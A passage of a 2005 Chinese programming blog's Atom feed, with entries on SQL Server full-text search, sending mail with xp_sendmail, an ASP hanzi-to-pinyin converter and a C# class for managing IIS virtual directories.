<BR>权重的值可以从0.0到1.0 <BR>ContainsTable <BR>它的使用方式和Contains基本相同，这里就不再重复介绍了。要提到的是它返回的是一张供你进一步查询的表，而不是一个查询条件。 <BR>FreeText <BR>如果使用这种方式，那么查询的时候会使用分词技术来实现模糊查询，并且过滤掉一些非关键词，比较类似于Contains中的FORMSOF，可惜对中文也没有什么支持 <BR>Example: <BR>SELECT CategoryName FROM Categories WHERE FREETEXT (Description, 'sweetest candy bread and dry meat' ) <BR>FreeTextTable <BR>它和FreeText的差别就跟Contains和ContainsTable的差别一样。</FONT></FONT></SPAN>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=92" /> 
	  <id>http://www.openx.cn/default.asp?id=92</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[SQL Server同Exchange Server结合应用--SQL Mail2]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-22T22:07:51+08:00</updated>
	  <published>2005-10-22T22:07:51+08:00</published>
		  <summary type="html"><![CDATA[&nbsp;&nbsp;&nbsp; 通过SQL Mial发送邮件<BR>&nbsp; &nbsp; SQL Mail会在两种情况之下发送邮件。一种是当系统发生警报时间时，会向预先为警报定义的操作员发送警报信息邮件（我们将在下一节中对此问题做详细的讨论）。另一种是通过扩展存贮过程xp_sendmail来发送邮件。如果我们想要在SQL Server应用中完成发送邮件功能的话，就需要使用此存贮过程。它的语法结构如下：<BR>&nbsp; &nbsp; xp_sendmail {[@recipients =] 'recipients [;...n]'} <BR>&nbsp; &nbsp; [,][@message =] 'message'] <BR>&nbsp; &nbsp; [,][@query =] 'query'] <BR>&nbsp; &nbsp; [,][@attachments =] attachments] <BR>&nbsp; &nbsp; [,][@copy_recipients =] 'copy_recipients [;...n]'<BR>&nbsp; &nbsp; [,][@blind_copy_recipients =] 'blind_copy_recipients [;...n]'<BR>&nbsp; &nbsp; [,][@subject =] 'subject']<BR>&nbsp; &nbsp; [,[@type =] 'type'] <BR>&nbsp; &nbsp; [,][@attach_results =] 'attach_value']<BR>&nbsp; &nbsp; [,][@no_output =] 'output_value'] <BR>&nbsp; &nbsp; [,][@no_header =] 'header_value'] <BR>&nbsp; &nbsp; [,][@width =] width] <BR>&nbsp; &nbsp; [,][@separator =] 'separator'] <BR>&nbsp; &nbsp; [,][@echo_error =] 'echo_value'] <BR>&nbsp; &nbsp; [,][@set_user =] 'user'] <BR>&nbsp; &nbsp; [,][@dbuse =] 'database']<BR>&nbsp; &nbsp; 其中各参数的含义分别如下：<BR>■&nbsp; &nbsp; recipients：为邮件指定的接收人，可以同时将邮件发给多个用户。各用户的邮件地址用分号分割。此参数必须指定，而其他参数都为可选参数。<BR>■&nbsp; &nbsp; message：邮件中的信息，其最长不得超过7990字节。<BR>■&nbsp; &nbsp; query：一段SQL语句，其结果集将附在邮件之中。它的长度不得超过8000字节。<BR>■&nbsp; &nbsp; attachments：用来指定一个文件作为被发送邮件的附件。<BR>■&nbsp; &nbsp; copy_recipients：用来指定此邮件抄送到哪些用户。即我们在邮件程序中常见的CC to:功能。<BR>■&nbsp; &nbsp; blind_copy_recipients：功能同上个参数。不过不同的是，邮件之中将不会包含这些收件人的地址信息。即我们在邮件程序中常见的密送BCC to:功能。<BR>■&nbsp; &nbsp; subject：邮件的标题。如果不指明，默认为"SQL Server Message"。<BR>■&nbsp; &nbsp; type：指定邮件的MAPI类型。默认为空值。<BR>■&nbsp; &nbsp; attach_results：指明是否将SQL语句的执行结果作为一个附件进行发送。其取值为TRUE或FALSE。默认值为FALSE。<BR>■&nbsp; &nbsp; no_output：指明此发送将不返回信息到SQL 客户端。其取值为TRUE或FALSE。默认值为FALSE。<BR>■&nbsp; &nbsp; no_header：指明不将SQL语句执行结果中的字段名包含在邮件之中。其取值为TRUE或FALSE。默认值为FALSE。<BR>■&nbsp; &nbsp; width：指定SQL语句执行结果的行宽。省缺宽度为80个字符这样可能会造成一些结果行被从中间截断的现象。将行宽设大一些可以有效地防止此现象。<BR>■&nbsp; &nbsp; separator：指定SQL语句的执行结果进行字段分割的字符。这样会方便一些电子表格应用程序读取结果集。<BR>■&nbsp; &nbsp; echo_error：指明是否包含系统错误信息。其取值为TRUE或FALSE。默认值为TRUE。<BR>■&nbsp; &nbsp; set_user：指明执行SQL语句的用户，默认为guest。此参数所指定的用户应该在master数据库中存在。<BR>■&nbsp; &nbsp; dbuse：指明SQL语句在哪个数据库上执行，默认为set_user指定的用户的省缺数据库。<BR>下面的例子将把1999年12月1日的所有刊载的文章的题目发送给邮件地址为zw@cbb.com的用户。<BR>exec master.dbo.xp_sendmail <BR>&nbsp; &nbsp; @recipients ='zw@cbb.com',<BR>&nbsp; &nbsp; @message ='1999年12月1日刊载文章题目' ,<BR>&nbsp; &nbsp; @query = 'select timu <BR>from test.dbo.gaojian<BR>where datepart(yy,riqi)=datepart(yy,convert(datetime,''1999-12-01')) and datepart(dy,riqi)=datepart(dy,convert(datetime,''1999-12-01''))<BR>order by banmian' ,<BR>&nbsp; &nbsp; @subject ='test',<BR>&nbsp; &nbsp; @attach_results = 'true',<BR>&nbsp; &nbsp; @width =60,<BR>&nbsp; &nbsp; @separator = ',' ,<BR>&nbsp; &nbsp; @set_user ='dbo',<BR>&nbsp; &nbsp; @dbuse = 'test'<BR>&nbsp; &nbsp; zw用户收到的邮件附件文件的内容如下：<BR>&nbsp; &nbsp; Timu&nbsp; &nbsp;&nbsp;&nbsp;,<BR>----------------------------------------------------------------------------------------]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=91" /> 
	  <id>http://www.openx.cn/default.asp?id=91</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[一个汉字转成拼音的代码]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-21T14:57:57+08:00</updated>
	  <published>2005-10-21T14:57:57+08:00</published>
		  <summary type="html"><![CDATA[<P>&lt;%<BR>Set d = CreateObject("scripting.Dictionary")<BR>d.add "a",-20319<BR>d.add "ai",-20317<BR>d.add "an",-20304<BR>d.add "ang",-20295<BR>d.add "ao",-20292<BR>d.add "ba",-20283<BR>d.add "bai",-20265<BR>d.add "ban",-20257<BR>d.add "bang",-20242<BR>d.add "bao",-20230<BR>d.add "bei",-20051<BR>d.add "ben",-20036<BR>d.add "beng",-20032<BR>d.add "bi",-20026<BR>d.add "bian",-20002<BR>d.add "biao",-19990<BR>d.add "bie",-19986<BR>d.add "bin",-19982<BR>d.add "bing",-19976<BR>d.add "bo",-19805<BR>d.add "bu",-19784<BR>d.add "ca",-19775<BR>d.add "cai",-19774<BR>d.add "can",-19763<BR>d.add "cang",-19756<BR>d.add "cao",-19751<BR>d.add "ce",-19746<BR>d.add "ceng",-19741<BR>d.add "cha",-19739<BR>d.add "chai",-19728<BR>d.add "chan",-19725<BR>d.add "chang",-19715<BR>d.add "chao",-19540<BR>d.add "che",-19531<BR>d.add "chen",-19525<BR>d.add "cheng",-19515<BR>d.add "chi",-19500<BR>d.add "chong",-19484<BR>d.add "chou",-19479<BR>d.add "chu",-19467<BR>d.add "chuai",-19289<BR>d.add "chuan",-19288<BR>d.add "chuang",-19281<BR>d.add "chui",-19275<BR>d.add "chun",-19270<BR>d.add "chuo",-19263<BR>d.add "ci",-19261<BR>d.add "cong",-19249<BR>d.add "cou",-19243<BR>d.add "cu",-19242<BR>d.add "cuan",-19238<BR>d.add "cui",-19235<BR>d.add "cun",-19227<BR>d.add "cuo",-19224<BR>d.add "da",-19218<BR>d.add "dai",-19212<BR>d.add "dan",-19038<BR>d.add "dang",-19023<BR>d.add "dao",-19018<BR>d.add "de",-19006<BR>d.add "deng",-19003<BR>d.add "di",-18996<BR>d.add "dian",-18977<BR>d.add "diao",-18961<BR>d.add "die",-18952<BR>d.add "ding",-18783<BR>d.add "diu",-18774<BR>d.add "dong",-18773<BR>d.add "dou",-18763<BR>d.add "du",-18756<BR>d.add "duan",-18741<BR>d.add "dui",-18735<BR>d.add "dun",-18731<BR>d.add "duo",-18722<BR>d.add "e",-18710<BR>d.add "en",-18697<BR>d.add "er",-18696<BR>d.add "fa",-18526<BR>d.add "fan",-18518<BR>d.add "fang",-18501<BR>d.add "fei",-18490<BR>d.add "fen",-18478<BR>d.add "feng",-18463<BR>d.add "fo",-18448<BR>d.add "fou",-18447<BR>d.add "fu",-18446<BR>d.add "ga",-18239<BR>d.add "gai",-18237<BR>d.add "gan",-18231<BR>d.add "gang",-18220<BR>d.add "gao",-18211<BR>d.add "ge",-18201<BR>d.add "gei",-18184<BR>d.add "gen",-18183<BR>d.add "geng",-18181<BR>d.add "gong",-18012<BR>d.add "gou",-17997<BR>d.add "gu",-17988<BR>d.add "gua",-17970<BR>d.add "guai",-17964<BR>d.add "guan",-17961<BR>d.add "guang",-17950<BR>d.add "gui",-17947<BR>d.add "gun",-17931<BR>d.add "guo",-17928<BR>d.add "ha",-17922<BR>d.add "hai",-17759<BR>d.add "han",-17752<BR>d.add "hang",-17733<BR>d.add "hao",-17730<BR>d.add "he",-17721<BR>d.add "hei",-17703<BR>d.add "hen",-17701<BR>d.add "heng",-17697<BR>d.add "hong",-17692<BR>d.add "hou",-17683<BR>d.add "hu",-17676<BR>d.add "hua",-17496<BR>d.add "huai",-17487<BR>d.add "huan",-17482<BR>d.add "huang",-17468<BR>d.add "hui",-17454<BR>d.add "hun",-17433<BR>d.add "huo",-17427<BR>d.add "ji",-17417<BR>d.add "jia",-17202<BR>d.add "jian",-17185<BR>d.add "jiang",-16983<BR>d.add "jiao",-16970<BR>d.add "jie",-16942<BR>d.add "jin",-16915<BR>d.add "jing",-16733<BR>d.add "jiong",-16708<BR>d.add "jiu",-16706<BR>d.add "ju",-16689<BR>d.add "juan",-16664<BR>d.add "jue",-16657<BR>d.add "jun",-16647<BR>d.add "ka",-16474<BR>d.add "kai",-16470<BR>d.add "kan",-16465<BR>d.add "kang",-16459<BR>d.add "kao",-16452<BR>d.add "ke",-16448<BR>d.add "ken",-16433<BR>d.add "keng",-16429<BR>d.add "kong",-16427<BR>d.add "kou",-16423<BR>d.add "ku",-16419<BR>d.add "kua",-16412<BR>d.add "kuai",-16407<BR>d.add "kuan",-16403<BR>d.add "kuang",-16401<BR>d.add "kui",-16393<BR>d.add "kun",-16220<BR>d.add "kuo",-16216<BR>d.add "la",-16212<BR>d.add "lai",-16205<BR>d.add "lan",-16202<BR>d.add "lang",-16187<BR>d.add "lao",-16180<BR>d.add "le",-16171<BR>d.add "lei",-16169<BR>d.add "leng",-16158<BR>d.add "li",-16155<BR>d.add "lia",-15959<BR>d.add "lian",-15958<BR>d.add "liang",-15944<BR>d.add "liao",-15933<BR>d.add "lie",-15920<BR>d.add "lin",-15915<BR>d.add "ling",-15903<BR>d.add "liu",-15889<BR>d.add "long",-15878<BR>d.add "lou",-15707<BR>d.add "lu",-15701<BR>d.add "lv",-15681<BR>d.add "luan",-15667<BR>d.add "lue",-15661<BR>d.add "lun",-15659<BR>d.add "luo",-15652<BR>d.add "ma",-15640<BR>d.add "mai",-15631<BR>d.add "man",-15625<BR>d.add "mang",-15454<BR>d.add "mao",-15448<BR>d.add "me",-15436<BR>d.add "mei",-15435<BR>d.add "men",-15419<BR>d.add "meng",-15416<BR>d.add "mi",-15408<BR>d.add "mian",-15394<BR>d.add "miao",-15385<BR>d.add "mie",-15377<BR>d.add "min",-15375<BR>d.add "ming",-15369<BR>d.add "miu",-15363<BR>d.add "mo",-15362<BR>d.add "mou",-15183<BR>d.add "mu",-15180<BR>d.add "na",-15165<BR>d.add "nai",-15158<BR>d.add "nan",-15153<BR>d.add "nang",-15150<BR>d.add "nao",-15149<BR>d.add "ne",-15144<BR>d.add "nei",-15143<BR>d.add "nen",-15141<BR>d.add "neng",-15140<BR>d.add "ni",-15139<BR>d.add "nian",-15128<BR>d.add "niang",-15121<BR>d.add "niao",-15119<BR>d.add "nie",-15117<BR>d.add "nin",-15110<BR>d.add "ning",-15109<BR>d.add "niu",-14941<BR>d.add "nong",-14937<BR>d.add "nu",-14933<BR>d.add "nv",-14930<BR>d.add "nuan",-14929<BR>d.add "nue",-14928<BR>d.add "nuo",-14926<BR>d.add "o",-14922<BR>d.add "ou",-14921<BR>d.add "pa",-14914<BR>d.add "pai",-14908<BR>d.add "pan",-14902<BR>d.add "pang",-14894<BR>d.add "pao",-14889<BR>d.add "pei",-14882<BR>d.add "pen",-14873<BR>d.add "peng",-14871<BR>d.add "pi",-14857<BR>d.add "pian",-14678<BR>d.add "piao",-14674<BR>d.add "pie",-14670<BR>d.add "pin",-14668<BR>d.add "ping",-14663<BR>d.add "po",-14654<BR>d.add "pu",-14645<BR>d.add "qi",-14630<BR>d.add "qia",-14594<BR>d.add "qian",-14429<BR>d.add "qiang",-14407<BR>d.add "qiao",-14399<BR>d.add "qie",-14384<BR>d.add "qin",-14379<BR>d.add "qing",-14368<BR>d.add "qiong",-14355<BR>d.add "qiu",-14353<BR>d.add "qu",-14345<BR>d.add "quan",-14170<BR>d.add "que",-14159<BR>d.add "qun",-14151<BR>d.add "ran",-14149<BR>d.add "rang",-14145<BR>d.add "rao",-14140<BR>d.add "re",-14137<BR>d.add "ren",-14135<BR>d.add "reng",-14125<BR>d.add "ri",-14123<BR>d.add "rong",-14122<BR>d.add "rou",-14112<BR>d.add "ru",-14109<BR>d.add "ruan",-14099<BR>d.add "rui",-14097<BR>d.add "run",-14094<BR>d.add "ruo",-14092<BR>d.add "sa",-14090<BR>d.add "sai",-14087<BR>d.add "san",-14083<BR>d.add "sang",-13917<BR>d.add "sao",-13914<BR>d.add "se",-13910<BR>d.add "sen",-13907<BR>d.add "seng",-13906<BR>d.add "sha",-13905<BR>d.add "shai",-13896<BR>d.add "shan",-13894<BR>d.add "shang",-13878<BR>d.add "shao",-13870<BR>d.add "she",-13859<BR>d.add "shen",-13847<BR>d.add "sheng",-13831<BR>d.add "shi",-13658<BR>d.add "shou",-13611<BR>d.add "shu",-13601<BR>d.add "shua",-13406<BR>d.add "shuai",-13404<BR>d.add "shuan",-13400<BR>d.add "shuang",-13398<BR>d.add "shui",-13395<BR>d.add "shun",-13391<BR>d.add "shuo",-13387<BR>d.add "si",-13383<BR>d.add "song",-13367<BR>d.add "sou",-13359<BR>d.add "su",-13356<BR>d.add "suan",-13343<BR>d.add "sui",-13340<BR>d.add "sun",-13329<BR>d.add "suo",-13326<BR>d.add "ta",-13318<BR>d.add "tai",-13147<BR>d.add "tan",-13138<BR>d.add "tang",-13120<BR>d.add "tao",-13107<BR>d.add "te",-13096<BR>d.add "teng",-13095<BR>d.add "ti",-13091<BR>d.add "tian",-13076<BR>d.add "tiao",-13068<BR>d.add "tie",-13063<BR>d.add "ting",-13060<BR>d.add "tong",-12888<BR>d.add "tou",-12875<BR>d.add "tu",-12871<BR>d.add "tuan",-12860<BR>d.add "tui",-12858<BR>d.add "tun",-12852<BR>d.add "tuo",-12849<BR>d.add "wa",-12838<BR>d.add "wai",-12831<BR>d.add "wan",-12829<BR>d.add "wang",-12812<BR>d.add "wei",-12802<BR>d.add "wen",-12607<BR>d.add "weng",-12597<BR>d.add "wo",-12594<BR>d.add "wu",-12585<BR>d.add "xi",-12556<BR>d.add "xia",-12359<BR>d.add "xian",-12346<BR>d.add "xiang",-12320<BR>d.add "xiao",-12300<BR>d.add "xie",-12120<BR>d.add "xin",-12099<BR>d.add "xing",-12089<BR>d.add "xiong",-12074<BR>d.add "xiu",-12067<BR>d.add "xu",-12058<BR>d.add "xuan",-12039<BR>d.add "xue",-11867<BR>d.add "xun",-11861<BR>d.add "ya",-11847<BR>d.add "yan",-11831<BR>d.add "yang",-11798<BR>d.add "yao",-11781<BR>d.add "ye",-11604<BR>d.add "yi",-11589<BR>d.add "yin",-11536<BR>d.add "ying",-11358<BR>d.add "yo",-11340<BR>d.add "yong",-11339<BR>d.add "you",-11324<BR>d.add "yu",-11303<BR>d.add "yuan",-11097<BR>d.add "yue",-11077<BR>d.add "yun",-11067<BR>d.add "za",-11055<BR>d.add "zai",-11052<BR>d.add "zan",-11045<BR>d.add "zang",-11041<BR>d.add "zao",-11038<BR>d.add "ze",-11024<BR>d.add "zei",-11020<BR>d.add "zen",-11019<BR>d.add "zeng",-11018<BR>d.add "zha",-11014<BR>d.add "zhai",-10838<BR>d.add "zhan",-10832<BR>d.add "zhang",-10815<BR>d.add "zhao",-10800<BR>d.add "zhe",-10790<BR>d.add "zhen",-10780<BR>d.add "zheng",-10764<BR>d.add "zhi",-10587<BR>d.add "zhong",-10544<BR>d.add "zhou",-10533<BR>d.add "zhu",-10519<BR>d.add "zhua",-10331<BR>d.add "zhuai",-10329<BR>d.add "zhuan",-10328<BR>d.add "zhuang",-10322<BR>d.add "zhui",-10315<BR>d.add "zhun",-10309<BR>d.add "zhuo",-10307<BR>d.add "zi",-10296<BR>d.add "zong",-10281<BR>d.add "zou",-10274<BR>d.add "zu",-10270<BR>d.add "zuan",-10262<BR>d.add "zui",-10260<BR>d.add "zun",-10256<BR>d.add "zuo",-10254</P>
<P>function g(num)<BR>if num&gt;0 and num&lt;160 then<BR>g=chr(num)<BR>else <BR>if num&lt;-20319 or num&gt;-10247 then<BR>g=""<BR>else<BR>a=d.Items<BR>b=d.keys<BR>for i=d.count-1 to 0 step -1<BR>if a(i)&lt;=num then exit for<BR>next<BR>g=b(i)<BR>end if<BR>end if<BR>end function<BR>function c(str)<BR>c=""<BR>for i=1 to len(str)<BR>c=c&g(asc(mid(str,i,1)))<BR>next<BR>end function <BR>response.write c(request("hz"))<BR>%&gt;<BR>&lt;form method=post&gt;<BR>请在此处输入中文：&lt;input name=hz&gt;<BR>&lt;/form&gt;</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=90" /> 
	  <id>http://www.openx.cn/default.asp?id=90</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[.Net中如何操作IIS(源代码)]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
	  </author>
	  <category term="" scheme="http://www.openx.cn/default.asp?cateID=3" label="网络开发" /> 
	  <updated>2005-10-21T14:55:11+08:00</updated>
	  <published>2005-10-21T14:55:11+08:00</published>
		  <summary type="html"><![CDATA[<P>///***********************************************************<BR>///************** IIS控制管理类 1.0 Beta **************<BR>using System;<BR>using System.Data;<BR>using System.DirectoryServices;<BR>using System.Collections;<BR>namespace Aspcn.Management<BR>{<BR>/// &lt;summary&gt;<BR>/// IISManager 的摘要说明。<BR>/// &lt;/summary&gt;<BR>public class IISManager<BR>{<BR>//定义需要使用的<BR>private string _server,_website;<BR>private VirtualDirectories _virdirs;<BR>protected System.DirectoryServices.DirectoryEntry rootfolder;<BR>private bool _batchflag;<BR>public IISManager()<BR>{<BR>//默认情况下使用localhost，即访问本地机<BR>_server = "localhost";<BR>_website = "1";<BR>_batchflag = false;<BR>}<BR>public IISManager(string strServer)<BR>{<BR>_server = strServer;<BR>_website = "1"; <BR>_batchflag = false;<BR>}<BR>/// &lt;summary&gt;<BR>/// 定义公共属性<BR>/// &lt;/summary&gt;<BR><BR>//Server属性定义访问机器的名字，可以是IP与计算名<BR>public string Server<BR>{<BR>get{ return _server;}<BR>set{ _server = value;}<BR>}<BR>//WebSite属性定义，为一数字，为方便，使用string <BR>//一般来说第一台主机为1,第二台主机为2，依次类推<BR>public string WebSite<BR>{<BR>get{ return _website; }<BR>set{ _website = value; }<BR>}<BR><BR>//虚拟目录的名字<BR>public VirtualDirectories VirDirs<BR>{<BR>get{ return _virdirs; }<BR>set{ _virdirs = value;}<BR>}<BR>///&lt;summary&gt;<BR>///定义公共方法<BR>///&lt;/summary&gt;<BR><BR>//连接服务器<BR>public void Connect()<BR>{<BR>ConnectToServer();<BR>}<BR>//为方便重载<BR>public void Connect(string strServer)<BR>{<BR>_server = strServer;<BR>ConnectToServer();<BR>}<BR>//为方便重载<BR>public void Connect(string strServer,string strWebSite)<BR>{<BR>_server = strServer;<BR>_website = strWebSite;<BR>ConnectToServer();<BR>}<BR>//判断是否存这个虚拟目录<BR>public bool Exists(string strVirdir)<BR>{<BR>return _virdirs.Contains(strVirdir);<BR>}<BR>//添加一个虚拟目录<BR>public void Create(VirtualDirectory newdir)<BR>{<BR>string strPath = "IIS://" + _server + "/W3SVC/" + _website + "/ROOT/" + newdir.Name;<BR>if(!_virdirs.Contains(newdir.Name) || _batchflag )<BR>{<BR>try<BR>{<BR>//加入到ROOT的Children集合中去<BR>DirectoryEntry newVirDir = rootfolder.Children.Add(newdir.Name,"IIsWebVirtualDir");<BR>newVirDir.Invoke("AppCreate",true);<BR>newVirDir.CommitChanges();<BR>rootfolder.CommitChanges();<BR>//然后更新数据<BR>UpdateDirInfo(newVirDir,newdir);<BR>}<BR>catch(Exception ee)<BR>{<BR>throw new Exception(ee.ToString());<BR>}<BR>}<BR>else<BR>{<BR>throw new Exception("This virtual directory is already exist.");<BR>}<BR>}<BR>//得到一个虚拟目录<BR>public VirtualDirectory GetVirDir(string strVirdir)<BR>{<BR>VirtualDirectory tmp = null;<BR>if(_virdirs.Contains(strVirdir))<BR>{<BR>tmp = _virdirs.Find(strVirdir);<BR>((VirtualDirectory)_virdirs[strVirdir]).flag = 2;<BR>}<BR>else<BR>{<BR>throw new Exception("This virtual directory is not exists");<BR>}<BR>return tmp;<BR>}<BR><BR>//更新一个虚拟目录<BR>public void Update(VirtualDirectory dir)<BR>{<BR>//判断需要更改的虚拟目录是否存在<BR>if(_virdirs.Contains(dir.Name))<BR>{<BR>DirectoryEntry ode = rootfolder.Children.Find(dir.Name,"IIsWebVirtualDir");<BR>UpdateDirInfo(ode,dir);<BR>}<BR>else<BR>{<BR>throw new Exception("This virtual directory is not exists.");<BR>}<BR>}<BR>　<BR>//删除一个虚拟目录<BR>public void Delete(string strVirdir)<BR>{<BR>if(_virdirs.Contains(strVirdir))<BR>{<BR>object[] paras = new object[2];<BR>paras[0] = "IIsWebVirtualDir"; //表示操作的是虚拟目录<BR>paras[1] = strVirdir;<BR>rootfolder.Invoke("Delete",paras);<BR>rootfolder.CommitChanges();<BR>}<BR>else<BR>{<BR>throw new Exception("Can't delete " + strVirdir + ",because it isn't exists.");<BR>}<BR>}<BR>//批量更新<BR>public void UpdateBatch()<BR>{<BR>BatchUpdate(_virdirs);<BR>}<BR>//重载一个：-)<BR>public void UpdateBatch(VirtualDirectories vds)<BR>{<BR>BatchUpdate(vds);<BR>}<BR>　<BR>///&lt;summary&gt;<BR>///私有方法<BR>///&lt;/summary&gt;<BR><BR>//连接服务器<BR>private void ConnectToServer()<BR>{<BR>string strPath = "IIS://" + _server + "/W3SVC/" + _website +"/ROOT";<BR>try<BR>{<BR>this.rootfolder = new DirectoryEntry(strPath);<BR>_virdirs = GetVirDirs(this.rootfolder.Children);<BR>} <BR>catch(Exception e)<BR>{<BR>throw new Exception("Can't connect to the server ["+ _server +"] ...",e);<BR>}<BR>}<BR>//执行批量更新<BR>private void BatchUpdate(VirtualDirectories vds)<BR>{<BR>_batchflag = true;<BR>foreach(object item in vds.Values)<BR>{<BR>VirtualDirectory vd = (VirtualDirectory)item;<BR>switch(vd.flag)<BR>{<BR>case 0:<BR>break;<BR>case 1:<BR>Create(vd);<BR>break;<BR>case 2:<BR>Update(vd);<BR>break;<BR>}<BR>}<BR>_batchflag = false;<BR>}<BR>//更新东东<BR>private void UpdateDirInfo(DirectoryEntry de,VirtualDirectory vd)<BR>{<BR>de.Properties["AnonymousUserName"][0] = vd.AnonymousUserName;<BR>de.Properties["AnonymousUserPass"][0] = vd.AnonymousUserPass;<BR>de.Properties["AccessRead"][0] = vd.AccessRead;<BR>de.Properties["AccessExecute"][0] = vd.AccessExecute;<BR>de.Properties["AccessWrite"][0] = vd.AccessWrite;<BR>de.Properties["AuthBasic"][0] = vd.AuthBasic;<BR>de.Properties["AuthNTLM"][0] = vd.AuthNTLM;<BR>de.Properties["ContentIndexed"][0] = vd.ContentIndexed;<BR>de.Properties["EnableDefaultDoc"][0] = vd.EnableDefaultDoc;<BR>de.Properties["EnableDirBrowsing"][0] = vd.EnableDirBrowsing;<BR>de.Properties["AccessSSL"][0] = vd.AccessSSL;<BR>de.Properties["Accessscript"][0] = vd.Accessscript;<BR>de.Properties["DefaultDoc"][0] = vd.DefaultDoc;<BR>de.Properties["Path"][0] = vd.Path;<BR>de.CommitChanges();<BR>}<BR><BR>//获取虚拟目录集合<BR>private VirtualDirectories GetVirDirs(DirectoryEntries des)<BR>{<BR>VirtualDirectories tmpdirs = new VirtualDirectories();<BR>foreach(DirectoryEntry de in des)<BR>{<BR>if(de.SchemaClassName == "IIsWebVirtualDir")<BR>{<BR>VirtualDirectory vd = new VirtualDirectory();<BR>vd.Name = de.Name;<BR>vd.AccessRead = (bool)de.Properties["AccessRead"][0];<BR>vd.AccessExecute = (bool)de.Properties["AccessExecute"][0];<BR>vd.AccessWrite = (bool)de.Properties["AccessWrite"][0];<BR>vd.AnonymousUserName = (string)de.Properties["AnonymousUserName"][0];<BR>vd.AnonymousUserPass = (string)de.Properties["AnonymousUserName"][0];<BR>vd.AuthBasic = (bool)de.Properties["AuthBasic"][0];<BR>vd.AuthNTLM = (bool)de.Properties["AuthNTLM"][0];<BR>vd.ContentIndexed = (bool)de.Properties["ContentIndexed"][0];<BR>vd.EnableDefaultDoc = (bool)de.Properties["EnableDefaultDoc"][0];<BR>vd.EnableDirBrowsing = (bool)de.Properties["EnableDirBrowsing"][0];<BR>vd.AccessSSL = (bool)de.Properties["AccessSSL"][0];<BR>vd.Accessscript = (bool)de.Properties["Accessscript"][0];<BR>vd.Path = (string)de.Properties["Path"][0];<BR>vd.flag = 0;<BR>vd.DefaultDoc = (string)de.Properties["DefaultDoc"][0];<BR>tmpdirs.Add(vd.Name,vd);<BR>}<BR>}<BR>return tmpdirs;<BR>}<BR><BR>}<BR>/// &lt;summary&gt;<BR>/// VirtualDirectory类<BR>/// &lt;/summary&gt;<BR>public class VirtualDirectory<BR>{<BR>private bool _read,_execute,_script,_ssl,_write,_authbasic,_authntlm,_indexed,_endirbrow,_endefaultdoc;<BR>private string _ausername,_auserpass,_name,_path;<BR>private int _flag;<BR>private string _defaultdoc;<BR>/// &lt;summary&gt;<BR>/// 构造函数<BR>/// &lt;/summary&gt;<BR>public VirtualDirectory()<BR>{<BR>SetValue();<BR>}<BR>public VirtualDirectory(string strVirDirName)<BR>{<BR>_name = strVirDirName;<BR>SetValue();<BR>}<BR>private void SetValue()<BR>{<BR>_read = true;_execute = false;_script = false;_ssl= false;_write=false;_authbasic=false;_authntlm=false;<BR>_indexed = false;_endirbrow=false;_endefaultdoc = false;<BR>_flag = 1;<BR>_defaultdoc = "default.htm,default.aspx,default.asp,index.htm";<BR>_path = "C:\\";<BR>_ausername = "";_auserpass ="";_name="";<BR>}<BR>///&lt;summary&gt;<BR>///定义属性,IISVirtualDir太多属性了<BR>///我只搞了比较重要的一些，其它的大伙需要的自个加吧。<BR>///&lt;/summary&gt;<BR><BR>public int flag<BR>{<BR>get{ return _flag;}<BR>set{ _flag = value;}<BR>}<BR>public bool AccessRead<BR>{<BR>get{ return _read;}<BR>set{ _read = value;}<BR>}<BR>public bool AccessWrite<BR>{<BR>get{ return _write;}<BR>set{ _write = value;}<BR>}<BR>public bool AccessExecute<BR>{<BR>get{ return _execute;}<BR>set{ _execute = value;}<BR>}<BR>public bool AccessSSL<BR>{<BR>get{ return _ssl;}<BR>set{ _ssl = value;}<BR>}<BR>public bool Accessscript<BR>{<BR>get{ return _script;}<BR>set{ _script = value;}<BR>}<BR>public bool AuthBasic<BR>{<BR>get{ return _authbasic;}<BR>set{ _authbasic = value;}<BR>}<BR>public bool AuthNTLM<BR>{<BR>get{ return _authntlm;}<BR>set{ _authntlm = value;}<BR>}<BR>public bool ContentIndexed<BR>{<BR>get{ return _indexed;}<BR>set{ _indexed = value;}<BR>}<BR>public bool EnableDirBrowsing<BR>{<BR>get{ return _endirbrow;}<BR>set{ _endirbrow = value;}<BR>}<BR>public bool EnableDefaultDoc<BR>{<BR>get{ return _endefaultdoc;}<BR>set{ _endefaultdoc = value;}<BR>}<BR>public string Name<BR>{<BR>get{ return _name;}<BR>set{ _name = value;}<BR>}<BR>public string Path<BR>{<BR>get{ return _path;}<BR>set{ _path = value;}<BR>}<BR>public string DefaultDoc<BR>{<BR>get{ return _defaultdoc;}<BR>set{ _defaultdoc = value;}<BR>}<BR>public string AnonymousUserName<BR>{<BR>get{ return _ausername;}<BR>set{ _ausername = value;}<BR>}<BR>public string AnonymousUserPass<BR>{<BR>get{ return _auserpass;}<BR>set{ _auserpass = value;}<BR>}<BR>}<BR>/// &lt;summary&gt;<BR>/// 集合VirtualDirectories<BR>/// &lt;/summary&gt;<BR><BR>public class VirtualDirectories : System.Collections.Hashtable<BR>{<BR>public VirtualDirectories()<BR>{<BR>}<BR>//添加新的方法 <BR>public VirtualDirectory Find(string strName)<BR>{<BR>return (VirtualDirectory)this[strName];<BR>}<BR>}<BR>}</P>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.openx.cn/default.asp?id=89" /> 
	  <id>http://www.openx.cn/default.asp?id=89</id> 
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[Delphi 字符串分隔同ASP的Split]]></title>
	  <author>
		 <name>cxty</name>
		 <uri>http://www.openx.cn/</uri>
		 <email>cxty@qq.com</email>
